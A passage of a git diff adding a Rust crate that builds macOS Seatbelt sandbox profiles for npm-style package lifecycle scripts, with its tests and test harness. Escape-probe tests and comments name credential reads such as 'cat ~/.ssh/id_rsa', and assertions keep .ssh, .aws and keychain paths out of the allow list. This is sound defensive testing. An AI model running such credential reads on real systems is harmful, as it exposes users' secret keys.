extra_write_dirs: Vec::new(), + }; + RealisticSpec { spec, _tmp: tmp } + } + + #[test] + fn new_renders_profile_successfully_for_realistic_spec() { + let rs = realistic_spec(); + let sb = SeatbeltSandbox::new(rs.spec, SandboxMode::Enforce).unwrap(); + assert!(sb.profile.contains("(deny default)")); + assert!(sb.profile.contains("(allow network*)")); + } + + #[test] + fn backend_name_is_seatbelt() { + let rs = realistic_spec(); + let sb = SeatbeltSandbox::new(rs.spec, SandboxMode::Enforce).unwrap(); + assert_eq!(sb.backend_name(), "seatbelt"); + } + + #[test] + fn mode_round_trips() { + for m in [SandboxMode::Enforce, SandboxMode::LogOnly] { + let rs = realistic_spec(); + let sb = SeatbeltSandbox::new(rs.spec, m).unwrap(); + assert_eq!(sb.mode(), m); + } + } + + #[test] + fn spawns_a_trivial_benign_command_inside_its_own_package_dir() { + // Runs `true` under the sandbox — no filesystem access needed, + // should succeed. Asserts that profile + sandbox-exec path is + // wired end-to-end. + let rs = realistic_spec(); + let sb = new_for_platform(rs.spec, SandboxMode::Enforce).unwrap(); + let cmd = SandboxedCommand::new("/usr/bin/true").envs_cleared([("PATH", "/usr/bin:/bin")]); + let mut child = sb.spawn(cmd).expect("spawn under enforce"); + let status = child.wait().expect("wait"); + assert!(status.success(), "/usr/bin/true under sandbox must exit 0"); + } + + #[test] + fn enforces_deny_default_for_forbidden_read() { + // §11 P5 ship criterion #1 (partial — full corpus is in + // Chunk 5). Creates a real file inside a tempdir that is NOT + // in the sandbox's allow list, then attempts to `cat` it. + // Seatbelt must deny the read — the deny-default + allow- + // list combination from §9.3 leaves that path unreferenced. + let td = tempfile::tempdir().unwrap(); + let secret = td.path().join("secret.txt"); + std::fs::write(&secret, b"TOP SECRET").unwrap(); + + let home = dirs::home_dir().expect("home dir"); + let spec = SandboxSpec { + package_dir: home.join(".lpm/store/probe@0.1.0"), + project_dir: home.join("lpm-sandbox-test-project"), + package_name: "probe".into(), + package_version: "0.1.0".into(), + store_root: home.join(".lpm/store"), + home_dir: home.clone(), + tmpdir: PathBuf::from("/tmp"), + extra_write_dirs: Vec::new(), + }; + let sb = new_for_platform(spec, SandboxMode::Enforce).unwrap(); + + let mut cmd = SandboxedCommand::new("/bin/cat") + .arg(&secret) + .envs_cleared([("PATH", "/usr/bin:/bin")]); + cmd.stdout = SandboxStdio::Null; + cmd.stderr = SandboxStdio::Null; + let mut child = sb.spawn(cmd).expect("spawn"); + let status = child.wait().expect("wait"); + assert!( + !status.success(), + "Seatbelt must deny reading a path outside the allow list — got status {status:?}" + ); + } + + #[test] + fn allows_write_into_package_dir_under_enforce() { + let td = tempfile::tempdir().unwrap(); + let pkg_dir = td.path().join("store").join("pkg@1.0.0"); + std::fs::create_dir_all(&pkg_dir).unwrap(); + let project_dir = td.path().join("proj"); + std::fs::create_dir_all(&project_dir).unwrap(); + let home = dirs::home_dir().expect("home dir"); + + let spec = SandboxSpec { + package_dir: pkg_dir.clone(), + project_dir, + package_name: "pkg".into(), + package_version: "1.0.0".into(), + store_root: td.path().join("store"), + home_dir: home, + tmpdir: PathBuf::from("/tmp"), + extra_write_dirs: Vec::new(), + }; + let sb = new_for_platform(spec, SandboxMode::Enforce).unwrap(); + + let mut cmd = SandboxedCommand::new("/bin/sh") + .arg("-c") + .arg("echo hi > marker") + .current_dir(&pkg_dir) + .envs_cleared([("PATH", "/usr/bin:/bin")]); + cmd.stdout = SandboxStdio::Null; + cmd.stderr = SandboxStdio::Null; + let mut child = sb.spawn(cmd).expect("spawn"); + let status = child.wait().expect("wait"); + assert!( + status.success(), + "write to package_dir under Enforce must succeed, got {status:?}" + ); + assert!(pkg_dir.join("marker").exists()); + } + + #[test] + fn denies_write_outside_allow_list_under_enforce() { + // Second half of ship criterion #1: a write into a path + // outside the allow list must be blocked. Chose /tmp//... + // that's not inside any package_dir/project_dir/cache; /tmp + // IS in the write allow-list, so we use a sibling of /tmp + // under $HOME that is read-allowed but not write-allowed. + let td = tempfile::tempdir().unwrap(); + let pkg_dir = td.path().join("store").join("pkg@1.0.0"); + std::fs::create_dir_all(&pkg_dir).unwrap(); + let project_dir = td.path().join("proj"); + std::fs::create_dir_all(&project_dir).unwrap(); + let forbidden_write_target = td.path().join("outside.txt"); + + let home = dirs::home_dir().expect("home dir"); + let spec = SandboxSpec { + package_dir: pkg_dir.clone(), + project_dir, + package_name: "pkg".into(), + package_version: "1.0.0".into(), + store_root: td.path().join("store"), + home_dir: home, + tmpdir: PathBuf::from("/tmp"), + extra_write_dirs: Vec::new(), + }; + let sb = new_for_platform(spec, SandboxMode::Enforce).unwrap(); + + let mut cmd = SandboxedCommand::new("/bin/sh") + .arg("-c") + .arg(format!("echo leak > {}", forbidden_write_target.display())) + .current_dir(&pkg_dir) + .envs_cleared([("PATH", "/usr/bin:/bin")]); + cmd.stdout = SandboxStdio::Null; + cmd.stderr = SandboxStdio::Null; + let mut child = sb.spawn(cmd).expect("spawn"); + let status = child.wait().expect("wait"); + assert!( + !status.success(), + "Seatbelt must deny writing outside the allow list — got status {status:?}" + ); + assert!( + !forbidden_write_target.exists(), + "sandbox escape — forbidden file was created" + ); + } + + #[test] + fn logonly_permits_write_that_enforce_would_deny() { + // Core LogOnly contract: a write into a path outside the + // Enforce allow list SUCCEEDS (permissive fallback via + // `(allow (with report) default)`) rather than being blocked. + // The denials-in-Enforce are visible via `log show` but + // asserting log-subsystem content cross-machine is flaky; the + // "didn't block" half is the sufficient contract assertion. + // Users still see the `--sandbox-log` banner warning that a + // clean run is NOT a safety signal (build.rs enforces that + // message). + let td = tempfile::tempdir().unwrap(); + let pkg_dir = td.path().join("store").join("pkg@1.0.0"); + std::fs::create_dir_all(&pkg_dir).unwrap(); + let project_dir = td.path().join("proj"); + std::fs::create_dir_all(&project_dir).unwrap(); + let forbidden_write_target = td.path().join("outside.txt"); + + let home = dirs::home_dir().expect("home"); + let spec = SandboxSpec { + package_dir: pkg_dir.clone(), + project_dir, + package_name: "pkg".into(), + package_version: "1.0.0".into(), + store_root: td.path().join("store"), + home_dir: home, + tmpdir: PathBuf::from("/tmp"), + extra_write_dirs: Vec::new(), + }; + let sb = new_for_platform(spec, SandboxMode::LogOnly).unwrap(); + + let mut cmd = SandboxedCommand::new("/bin/sh") + .arg("-c") + .arg(format!( + "echo reported > {}", + forbidden_write_target.display() + )) + .current_dir(&pkg_dir) + .envs_cleared([("PATH", "/usr/bin:/bin")]); + cmd.stdout = SandboxStdio::Null; + cmd.stderr = SandboxStdio::Null; + let mut child = sb.spawn(cmd).expect("spawn"); + let status = child.wait().expect("wait"); + assert!( + status.success(), + "LogOnly must NOT block writes outside the allow list — \ + status {status:?}. If this fails, the (allow (with report) \ + default) fallback isn't in the profile or SBPL last-match-wins \ + is behaving differently than expected." + ); + assert!( + forbidden_write_target.exists(), + "LogOnly write into a forbidden-in-Enforce path must succeed" + ); + } + + #[test] + fn logonly_still_allows_package_dir_writes_silently() { + // Same package-dir write that succeeds under Enforce also + // succeeds under LogOnly. The Enforce rules override the + // permissive fallback for covered paths (SBPL last-match-wins), + // so covered writes are silent allows — identical to Enforce. + let td = tempfile::tempdir().unwrap(); + let pkg_dir = td.path().join("store").join("pkg@1.0.0"); + std::fs::create_dir_all(&pkg_dir).unwrap(); + let project_dir = td.path().join("proj"); + std::fs::create_dir_all(&project_dir).unwrap(); + let home = dirs::home_dir().expect("home"); + + let spec = SandboxSpec { + package_dir: pkg_dir.clone(), + project_dir, + package_name: "pkg".into(), + package_version: "1.0.0".into(), + store_root: td.path().join("store"), + home_dir: home, + tmpdir: PathBuf::from("/tmp"), + extra_write_dirs: Vec::new(), + }; + let sb = new_for_platform(spec, SandboxMode::LogOnly).unwrap(); + + let mut cmd = SandboxedCommand::new("/bin/sh") + .arg("-c") + .arg("echo silent > marker") + .current_dir(&pkg_dir) + .envs_cleared([("PATH", "/usr/bin:/bin")]); + cmd.stdout = SandboxStdio::Null; + cmd.stderr = SandboxStdio::Null; + let mut child = sb.spawn(cmd).expect("spawn"); + let status = child.wait().expect("wait"); + assert!(status.success()); + assert!(pkg_dir.join("marker").exists()); + } + + #[test] + fn mode_round_trips_for_logonly() { + let rs = realistic_spec(); + let sb = SeatbeltSandbox::new(rs.spec, SandboxMode::LogOnly).unwrap(); + assert_eq!(sb.mode(), SandboxMode::LogOnly); + assert_eq!(sb.backend_name(), "seatbelt"); + } + + #[test] + fn new_rejects_disabled_mode_defensively() { + // Disabled should never reach here — the factory routes it + // to NoopSandbox. Defend against future factory bugs with + // an explicit error rather than silently picking a variant. + let rs = realistic_spec(); + match SeatbeltSandbox::new(rs.spec, SandboxMode::Disabled) { + Err(SandboxError::InvalidSpec { reason }) => { + assert!(reason.contains("Disabled")); + assert!(reason.contains("NoopSandbox")); + } + Ok(_) => panic!("Disabled mode must be rejected by SeatbeltSandbox::new"), + Err(other) => panic!("expected InvalidSpec, got {other:?}"), + } + } +} diff --git a/crates/lpm-sandbox/src/seatbelt.rs b/crates/lpm-sandbox/src/seatbelt.rs new file mode 100644 index 00000000..265ae68b --- /dev/null +++ b/crates/lpm-sandbox/src/seatbelt.rs @@ -0,0 +1,535 @@ +//! Seatbelt profile synthesis for the macOS `sandbox-exec` backend. +//! +//! Implements §9.3 of the Phase 46 plan: reads broad (project + +//! toolchain), writes narrow (package store dir + `node_modules` + +//! `.husky` + `.lpm` + known caches + temp), network allowed by +//! default (D3), process-fork + exec allowed so `node-gyp` children +//! work. +//! +//! The profile is synthesized per-package — each invocation of a +//! lifecycle script renders its own profile whose `(subpath "...")` +//! entries are grounded in that package's `package_dir`, the +//! project root, and the host's `$HOME` + `$TMPDIR`. Extra writable +//! subpaths from `package.json > lpm > scripts > sandboxWriteDirs` +//! are appended to the `file-write*` allow list. + +#![cfg(target_os = "macos")] + +use crate::{SandboxError, SandboxSpec}; +use std::path::Path; + +/// Render the Enforce-mode Seatbelt profile for the given +/// [`SandboxSpec`]. The returned string is safe to pass to +/// `sandbox-exec -p`. +/// +/// Profile layout matches §9.3: deny-by-default, then an explicit +/// `file-read*` allow list, an explicit `file-write*` allow list, +/// unrestricted network, process spawn, and the mach / sysctl +/// primitives node-gyp needs. +pub(crate) fn render_profile(spec: &SandboxSpec) -> Result { + // Canonicalize base paths so Seatbelt rules match against the + // same form the kernel uses at enforcement time. macOS symlinks + // `/var` -> `/private/var`, `/tmp` -> `/private/tmp`, and + // `$TMPDIR` resolves under `/private/var/folders/...`. Seatbelt + // does NOT resolve symlinks inside `(subpath ...)` rules; a rule + // spelled `/var/folders/x` does not match an enforcement-time + // request for `/private/var/folders/x`. Confirmed empirically. + // + // Canonicalize only the base paths (which must exist on the + // host) — their subpaths are constructed from the canonical + // bases below so `.husky`, `.cache`, etc. get the right prefix + // whether or not those subpaths exist yet. + let canon_package_dir = canonicalize_best_effort(&spec.package_dir); + let canon_project_dir = canonicalize_best_effort(&spec.project_dir); + let canon_home_dir = canonicalize_best_effort(&spec.home_dir); + let canon_tmpdir = canonicalize_best_effort(&spec.tmpdir); + + let package_dir = quoted_path(&canon_package_dir, "package_dir")?; + let project_dir = quoted_path(&canon_project_dir, "project_dir")?; + let home_cache = quoted_path(&canon_home_dir.join(".cache"), "home_dir/.cache")?; + let home_node_gyp = quoted_path(&canon_home_dir.join(".node-gyp"), "home_dir/.node-gyp")?; + let home_npm = quoted_path(&canon_home_dir.join(".npm"), "home_dir/.npm")?; + let home_nvm = quoted_path( + &canon_home_dir.join(".nvm").join("versions"), + "home_dir/.nvm/versions", + )?; + let tmpdir = quoted_path(&canon_tmpdir, "tmpdir")?; + + // node_modules / .husky / .lpm are subpaths of the canonical + // project_dir. + let project_node_modules = quoted_path( + &canon_project_dir.join("node_modules"), + "project_dir/node_modules", + )?; + let project_husky = quoted_path(&canon_project_dir.join(".husky"), "project_dir/.husky")?; + let project_lpm = quoted_path(&canon_project_dir.join(".lpm"), "project_dir/.lpm")?; + + // Extra writable dirs come from package.json > lpm > scripts > + // sandboxWriteDirs. The loader already resolved them to absolute + // paths; we re-assert here because a backend-level invariant + // violation should surface as ProfileRenderFailed, not a sandbox + // bypass. Paths are canonicalized best-effort so a user-supplied + // absolute path under a symlinked prefix (e.g. `/tmp/build-out` + // on macOS, which resolves to `/private/tmp/build-out`) matches + // the form the kernel uses at enforcement time — same symlink- + // resolution fix the built-in base paths get above, applied to + // the `sandboxWriteDirs` escape hatch. + let mut extras = Vec::with_capacity(spec.extra_write_dirs.len()); + for (i, p) in spec.extra_write_dirs.iter().enumerate() { + if !p.is_absolute() { + return Err(SandboxError::ProfileRenderFailed { + reason: format!( + "extra_write_dirs[{i}] must be absolute at render time, got {}", + p.display() + ), + }); + } + let canon = canonicalize_best_effort(p); + extras.push(quoted_path(&canon, &format!("extra_write_dirs[{i}]"))?); + } + + let mut out = String::with_capacity(1024 + 64 * extras.len()); + out.push_str("(version 1)\n"); + out.push_str("(deny default)\n"); + out.push('\n'); + + // file-read-metadata broadly. Required for path traversal: a + // script doing `mkdir -p $PROJECT/.husky` needs to stat each + // path component from `/` down to `.husky`'s parent. Without + // broad metadata, the traversal denies on intermediate dirs + // (`/private`, `/private/var`, etc.) regardless of what file- + // read* narrows. Apple's own `bsd.sb` uses this pattern for + // the same reason. + // + // Metadata != data: `cat ~/.ssh/id_rsa` still fails because + // `file-read-data` for that path stays denied. Escape-corpus + // tests confirm the secret-contents guard holds. + out.push_str("(allow file-read-metadata)\n"); + out.push('\n'); + + // file-read*: broad, because scripts legitimately read project + + // toolchain paths. §9.3 lists the project + system baseline; + // this implementation extends it with the paths every real macOS + // binary needs to load (dyld shared cache at /System/Volumes + + // /private/var/db/dyld, /bin + /sbin for shells and coreutils, + // /private/etc for locale + resolv.conf, /dev tty/random/zero + // for common libc initialization). Writes stay narrow; only + // reads are widened past the schematic §9.3 layout. + out.push_str("(allow file-read*\n"); + // Stat-the-root is required by the dyld loader on macOS; without + // this entry even `/usr/bin/true` fails to launch under a + // deny-default profile. + out.push_str(" (literal \"/\")\n"); + out.push_str(&format!(" (subpath {package_dir})\n")); + out.push_str(&format!(" (subpath {project_dir})\n")); + out.push_str(" (subpath \"/usr\")\n"); + out.push_str(" (subpath \"/bin\")\n"); + out.push_str(" (subpath \"/sbin\")\n"); + out.push_str(" (subpath \"/System\")\n"); + out.push_str(" (subpath \"/Library/Developer/CommandLineTools\")\n"); + out.push_str(" (subpath \"/Library/Preferences\")\n"); + out.push_str(" (subpath \"/private/etc\")\n"); + out.push_str(" (subpath \"/private/var/db/dyld\")\n"); + out.push_str(" (subpath \"/private/var/db/timezone\")\n"); + // `/private/var/select/sh` is consulted by `/bin/sh` on startup + // to locate the user's preferred shell binary. Without this + // read allow, shell scripts emit a spurious "Error opening + // /private/var/select/sh: Operation not permitted" on stderr. + // Harmless as a functional matter but alarming for users — deny + // here produces an actionable test-fixture false negative. + out.push_str(" (subpath \"/private/var/select\")\n"); + // Broad /dev read covers /dev/fd/*, /dev/stdin/stdout/stderr, and + // the tty + random devices shells and coreutils commonly touch. + // /dev has no secrets (raw disks etc. would need additional + // iokit-open narrowing to expose, and those aren't granted here). + out.push_str(" (subpath \"/dev\")\n"); + out.push_str(&format!(" (subpath {home_nvm})\n")); + out.push_str(")\n"); + out.push('\n'); + + // file-write*: narrow but covers the greens. Must contain the + // package's own store dir (Chunk 5's compat corpus tests write + // markers here), project `node_modules` (prisma generate), + // `.husky` (husky install), `.lpm` (LPM's own state), + // `~/.cache` + `~/.node-gyp` + `~/.npm` (tooling caches), and + // `/tmp` + `$TMPDIR` — plus `/private/var/folders` since macOS's + // `$TMPDIR` resolves to there and some tools pass the unresolved + // form. `/dev/null` is writable so `>/dev/null` redirects work. + out.push_str("(allow file-write*\n"); + out.push_str(&format!(" (subpath {package_dir})\n")); + out.push_str(&format!(" (subpath {project_node_modules})\n")); + out.push_str(&format!(" (subpath {project_husky})\n")); + out.push_str(&format!(" (subpath {project_lpm})\n")); + out.push_str(&format!(" (subpath {home_cache})\n")); + out.push_str(&format!(" (subpath {home_node_gyp})\n")); + out.push_str(&format!(" (subpath {home_npm})\n")); + out.push_str(" (subpath \"/tmp\")\n"); + out.push_str(&format!(" (subpath {tmpdir})\n")); + out.push_str(" (literal \"/dev/null\")\n"); + out.push_str(" (literal \"/dev/tty\")\n"); + for e in &extras { + out.push_str(&format!(" (subpath {e})\n")); + } + out.push_str(")\n"); + out.push('\n'); + + // D3: network on by default. Paranoid mode is Phase 46.1. + out.push_str("(allow network*)\n"); + // node-gyp + electron-rebuild fork helper processes + basic + // process-info introspection the dynamic linker + libSystem + // call into. `process*` covers fork, exec, info, codesigning- + // status, and signalling; narrower splits exist but this is the + // least-surprising default for a script runner where sub-shells + // are routine. + out.push_str("(allow process*)\n"); + out.push_str("(allow signal)\n"); + // Mach lookups + sysctl reads the dynamic linker + libSystem + // need. IOKit usage comes from libsystem (device enumeration + // during locale init and similar); without it even /usr/bin/true + // fails to load on recent macOS releases. + out.push_str("(allow mach-lookup)\n"); + out.push_str("(allow sysctl-read)\n"); + out.push_str("(allow iokit-open)\n"); + + Ok(out) +} + +/// Escape a path into a quoted Seatbelt string literal. Handles +/// embedded `"` and `\` per the Scheme-like profile syntax +/// `sandbox-exec` parses. +/// +/// Returns `"..."` (quotes included) so callers can interpolate the +/// result directly into `(subpath ...)` / `(literal ...)` forms. +fn quoted_path(p: &Path, field: &str) -> Result { + let s = p + .to_str() + .ok_or_else(|| SandboxError::ProfileRenderFailed { + reason: format!("{field} is not valid UTF-8: {}", p.display()), + })?; + Ok(scheme_quote(s)) +} + +/// Resolve `path` through symlinks + relative components so the +/// rendered Seatbelt rule matches the form the kernel uses at +/// enforcement time. macOS symlinks `/var` -> `/private/var` and +/// `/tmp` -> `/private/tmp`; rules spelled in the short form do +/// NOT match enforcement-time requests against the long form. +/// +/// Best-effort: if the path doesn't exist (e.g. a synthetic spec +/// in unit tests, or an `extra_write_dirs` entry the user hasn't +/// created yet), we return the original path verbatim. At +/// enforcement time the kernel's own symlink resolution still +/// applies, so for paths with no symlinks in their component chain +/// the rule will match regardless. Paths that DO traverse a +/// symlink but don't exist on the host lose symlink resolution — +/// but that's a caller bug (spec referencing a nonexistent path) +/// that would surface as a runtime denial the first time a script +/// tried to touch the path. +fn canonicalize_best_effort(path: &Path) -> std::path::PathBuf { + std::fs::canonicalize(path).unwrap_or_else(|_| path.to_path_buf()) +} + +fn scheme_quote(s: &str) -> String { + let mut out = String::with_capacity(s.len() + 2); + out.push('"'); + for c in s.chars() { + match c { + '"' => out.push_str("\\\""), + '\\' => out.push_str("\\\\"), + _ => out.push(c), + } + } + out.push('"'); + out +} + +/// Render the LogOnly-mode Seatbelt profile for the given +/// [`SandboxSpec`]. Permissive fallback + silent Enforce overrides. +/// +/// # SBPL last-match-wins semantics +/// +/// The profile opens with `(allow (with report) default)` — every +/// operation matches this. The Enforce allow blocks (`file-read*`, +/// `file-write*`, `network*`, `process*`, etc.) come AFTER, so for +/// operations they cover, the LATER rule wins — those are silent +/// allows, identical to Enforce mode. Operations NOT covered by the +/// Enforce rules fall through to the opening `(allow (with report) +/// default)` and get logged via `sandboxd` while still being +/// permitted. +/// +/// This is the pattern Apple's own internal profiles +/// (`com.apple.ClassroomKit.ClassroomMCXService.sb`, +/// `DiagnosticsKit.XPCTestService.sb`, etc.) use as the developer- +/// tuning observe-only idiom. +/// +/// # User-facing contract +/// +/// A clean run under `--sandbox-log` is NOT a safety signal. Every +/// access that would have been denied in [`render_profile`] is +/// merely logged here — the script runs with full host access for +/// any path outside the Enforce allow list. The CLI surface +/// (banner + help text) makes this explicit. +/// +/// # Viewing the logs +/// +/// Reports flow through the unified log. Users run +/// `log show --last 5m --predicate 'senderImagePath CONTAINS "Sandbox"' | grep -w ` +/// to see what would-have-been-denied operations fired. +pub(crate) fn render_logonly_profile(spec: &SandboxSpec) -> Result { + // Build the Enforce profile body first — these are the rules + // that should remain SILENT under LogOnly. + let enforce_body = render_profile(spec)?; + // The enforce profile starts with `(version 1)\n(deny default)\n`. + // Strip those two lines: LogOnly replaces `(deny default)` with + // the permissive `(allow (with report) default)` fallback. + let body_after_deny = enforce_body + .strip_prefix("(version 1)\n(deny default)\n") + .ok_or_else(|| SandboxError::ProfileRenderFailed { + reason: "render_profile output did not match expected header — \ + LogOnly renderer relies on this invariant" + .to_string(), + })?; + + let mut out = String::with_capacity(enforce_body.len() + 64); + out.push_str("(version 1)\n"); + // SBPL last-match-wins: this permissive+report rule is the + // fallback. Every operation matches, every operation is logged. + // Enforce rules that follow override to silent allows for their + // covered paths. + out.push_str("(allow (with report) default)\n"); + out.push_str(body_after_deny); + Ok(out) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::path::PathBuf; + + fn spec() -> SandboxSpec { + SandboxSpec { + package_dir: PathBuf::from("/lpm-store/prisma@5.22.0"), + project_dir: PathBuf::from("/home/u/proj"), + package_name: "prisma".into(), + package_version: "5.22.0".into(), + store_root: PathBuf::from("/lpm-store"), + home_dir: PathBuf::from("/home/u"), + tmpdir: PathBuf::from("/var/folders/xx/T"), + extra_write_dirs: Vec::new(), + } + } + + #[test] + fn profile_starts_with_deny_default() { + let p = render_profile(&spec()).unwrap(); + assert!(p.starts_with("(version 1)\n(deny default)\n")); + } + + #[test] + fn profile_contains_package_dir_in_both_read_and_write() { + let p = render_profile(&spec()).unwrap(); + // Appears once in file-read* block, once in file-write* block. + assert_eq!( + p.matches("/lpm-store/prisma@5.22.0").count(), + 2, + "package_dir must appear in both read and write allow lists — got profile:\n{p}" + ); + } + + #[test] + fn profile_contains_project_subpaths_for_writable_greens() { + let p = render_profile(&spec()).unwrap(); + assert!( + p.contains("/home/u/proj/node_modules"), + "node_modules must be writable for prisma generate: {p}" + ); + assert!( + p.contains("/home/u/proj/.husky"), + ".husky must be writable for husky install: {p}" + ); + assert!( + p.contains("/home/u/proj/.lpm"), + ".lpm must be writable for LPM state: {p}" + ); + } + + #[test] + fn profile_contains_home_cache_paths() { + let p = render_profile(&spec()).unwrap(); + assert!(p.contains("/home/u/.cache")); + assert!(p.contains("/home/u/.node-gyp")); + assert!(p.contains("/home/u/.npm")); + assert!(p.contains("/home/u/.nvm/versions")); + } + + #[test] + fn profile_contains_temp_paths() { + let p = render_profile(&spec()).unwrap(); + assert!(p.contains("/tmp")); + assert!(p.contains("/var/folders/xx/T")); + } + + #[test] + fn profile_allows_network_by_default() { + let p = render_profile(&spec()).unwrap(); + assert!(p.contains("(allow network*)"), "D3 — network allowed: {p}"); + } + + #[test] + fn profile_allows_process_and_signal_primitives() { + let p = render_profile(&spec()).unwrap(); + assert!( + p.contains("(allow process*)"), + "need process fork+exec+info: {p}" + ); + assert!(p.contains("(allow signal)")); + assert!(p.contains("(allow mach-lookup)")); + assert!(p.contains("(allow sysctl-read)")); + assert!(p.contains("(allow iokit-open)")); + } + + #[test] + fn profile_does_not_allow_ssh_aws_or_keychains() { + let p = render_profile(&spec()).unwrap(); + assert!(!p.contains("/.ssh"), "ssh must never be allowed: {p}"); + assert!(!p.contains("/.aws"), "aws must never be allowed: {p}"); + assert!( + !p.contains("(subpath \"/Library/Keychains\")"), + "system keychain must never be allowed: {p}" + ); + // `~/Library/Keychains/` lives under the user's home dir and + // is NOT under the `/Library/Preferences` + `/Library/Developer` + // subpaths we allow — deny-default covers it. Assert the + // narrower `/Library` top-level allow didn't sneak in. + assert!( + !p.contains("(subpath \"/Library\")\n"), + "broad /Library allow must not be present (only narrow subpaths): {p}" + ); + } + + #[test] + fn profile_includes_extra_write_dirs_verbatim() { + let mut s = spec(); + s.extra_write_dirs = vec![ + PathBuf::from("/home/u/proj/build-output"), + PathBuf::from("/home/u/.cache/ms-playwright"), + ]; + let p = render_profile(&s).unwrap(); + assert!(p.contains("/home/u/proj/build-output")); + assert!(p.contains("/home/u/.cache/ms-playwright")); + } + + #[test] + fn profile_rejects_relative_extra_write_dirs_at_render_time() { + let mut s = spec(); + s.extra_write_dirs = vec![PathBuf::from("relative/path")]; + match render_profile(&s) { + Err(SandboxError::ProfileRenderFailed { reason }) => { + assert!(reason.contains("extra_write_dirs[0]")); + assert!(reason.contains("absolute")); + } + other => panic!("expected ProfileRenderFailed, got {other:?}"), + } + } + + #[test] + fn scheme_quote_escapes_quotes_and_backslashes() { + assert_eq!(scheme_quote(r#"simple"#), r#""simple""#); + assert_eq!(scheme_quote(r#"has"quote"#), r#""has\"quote""#); + assert_eq!(scheme_quote(r"has\slash"), r#""has\\slash""#); + assert_eq!(scheme_quote(r#"both"and\slash"#), r#""both\"and\\slash""#); + } + + #[test] + fn scheme_quote_handles_unicode() { + assert_eq!(scheme_quote("café"), r#""café""#); + } + + #[test] + fn profile_forbidden_path_probe_is_denied_under_deny_default() { + // `cat ~/.ssh/id_rsa` (§11 P5 ship criterion #1): the path is + // never in the allow list, and the profile begins with + // (deny default), so Seatbelt blocks the read. This test + // asserts the profile's structural shape — the integration + // test under tests/seatbelt_integration.rs actually shells + // out to sandbox-exec to confirm runtime behavior. + let p = render_profile(&spec()).unwrap(); + assert!(p.contains("(deny default)")); + assert!(!p.contains(".ssh")); + } + + #[test] + fn logonly_profile_starts_with_permissive_report_fallback() { + // `(allow (with report) default)` is the FIRST rule so every + // operation matches as a baseline; Enforce rules later in the + // profile override to silent allows where they apply. Pin the + // ordering invariant since the semantic depends on it. + let p = render_logonly_profile(&spec()).unwrap(); + assert!( + p.starts_with("(version 1)\n(allow (with report) default)\n"), + "LogOnly profile must open with the permissive+report fallback: {p}" + ); + } + + #[test] + fn logonly_profile_has_no_deny_default() { + // `(deny default)` would short-circuit the permissive + // fallback — LogOnly would become Enforce. Ensure the + // Enforce header is stripped. + let p = render_logonly_profile(&spec()).unwrap(); + assert!( + !p.contains("(deny default)"), + "LogOnly profile must NOT contain (deny default): {p}" + ); + } + + #[test] + fn logonly_profile_preserves_enforce_allow_rules() { + // The Enforce allow lists (file-read*, file-write*, network*, + // process*, etc.) still appear. Under SBPL last-match-wins + // semantics, these override the permissive fallback for their + // covered paths — operations matching Enforce rules are silent + // allows, identical to Enforce behavior. + let p = render_logonly_profile(&spec()).unwrap(); + assert!(p.contains("(allow file-read*")); + assert!(p.contains("(allow file-write*")); + assert!(p.contains("(allow network*)")); + assert!(p.contains("(allow process*)")); + assert!(p.contains("(allow mach-lookup)")); + } + + #[test] + fn logonly_profile_package_dir_and_writable_paths_match_enforce() { + let enforce = render_profile(&spec()).unwrap(); + let logonly = render_logonly_profile(&spec()).unwrap(); + // Same path content — only the header differs. + assert!(logonly.contains("/lpm-store/prisma@5.22.0")); + assert!(logonly.contains("/home/u/proj/node_modules")); + assert!(logonly.contains("/home/u/.cache")); + // Sanity: everything Enforce lists in its writable block + // except the header swap is still present. + let enforce_after_header = enforce + .strip_prefix("(version 1)\n(deny default)\n") + .unwrap(); + let logonly_after_header = logonly + .strip_prefix("(version 1)\n(allow (with report) default)\n") + .unwrap(); + assert_eq!(enforce_after_header, logonly_after_header); + } + + #[test] + fn logonly_profile_propagates_render_errors_from_enforce() { + // If the Enforce profile can't render (e.g. relative extra + // write dir), LogOnly must fail with the same error variant — + // we don't want LogOnly masking a configuration bug that + // Enforce would have surfaced. + let mut s = spec(); + s.extra_write_dirs = vec![PathBuf::from("relative/path")]; + match render_logonly_profile(&s) { + Err(SandboxError::ProfileRenderFailed { reason }) => { + assert!(reason.contains("extra_write_dirs[0]")); + } + other => panic!("expected ProfileRenderFailed, got {other:?}"), + } + } +} diff --git a/crates/lpm-sandbox/tests/common/mod.rs b/crates/lpm-sandbox/tests/common/mod.rs new file mode 100644 index 00000000..4c9c73f7 --- /dev/null +++ b/crates/lpm-sandbox/tests/common/mod.rs @@ -0,0 +1,146 @@ +//! Shared test harness for the Chunk 5 corpora — escape, compat +//! greens, (Chunk 5b: compat ambers). Keeps the per-test files +//! focused on WHAT they assert, not on fixture plumbing. +//! +//! Every helper is platform-aware: callers can check +//! [`sandbox_supported`] up front and skip (rather than fail) when +//! the host doesn't have a working backend — e.g. CI runners +//! without landlock enabled, or non-Linux-non-macOS dev machines. + +#![allow(dead_code)] // each integration-test binary uses a different subset + +use lpm_sandbox::{ + Sandbox, SandboxError, SandboxMode, SandboxSpec, SandboxStdio, SandboxedCommand, + new_for_platform, +}; +use std::path::{Path, PathBuf}; +use tempfile::TempDir; + +/// Bundles a realistic [`SandboxSpec`] together with the backing +/// tempdirs so drop order is correct (spec can reference live +/// directories; dropping the Bundle drops the tempdirs). +pub struct SandboxFixture { + pub spec: SandboxSpec, + pub pkg_dir: PathBuf, + pub project_dir: PathBuf, + _tmp: TempDir, +} + +impl SandboxFixture { + /// Build a realistic fixture rooted in a tempdir: `{tmp}/store/{pkg}@{ver}` + /// for the package, `{tmp}/proj` for the project. `home_dir` uses the real + /// host home so platform backends can test against `~/.cache` etc. + /// + /// Calls [`lpm_sandbox::prepare_writable_dirs`] before returning so + /// the `.husky` / `.lpm` / `node_modules` / cache subpaths exist — + /// mirrors what the production build.rs path does. Fixtures + /// therefore model "scripts modify a prepared environment," which + /// IS the real lifecycle-script contract. + pub fn new(pkg_name: &str, pkg_version: &str) -> Self { + let tmp = tempfile::tempdir().expect("tempdir"); + let pkg_dir = tmp + .path() + .join("store") + .join(format!("{pkg_name}@{pkg_version}")); + std::fs::create_dir_all(&pkg_dir).expect("mkdir pkg_dir"); + let project_dir = tmp.path().join("proj"); + std::fs::create_dir_all(&project_dir).expect("mkdir project_dir"); + + let home = dirs::home_dir().expect("home dir for test"); + let spec = SandboxSpec { + package_dir: pkg_dir.clone(), + project_dir: project_dir.clone(), + package_name: pkg_name.to_string(), + package_version: pkg_version.to_string(), + store_root: tmp.path().join("store"), + home_dir: home, + tmpdir: PathBuf::from("/tmp"), + 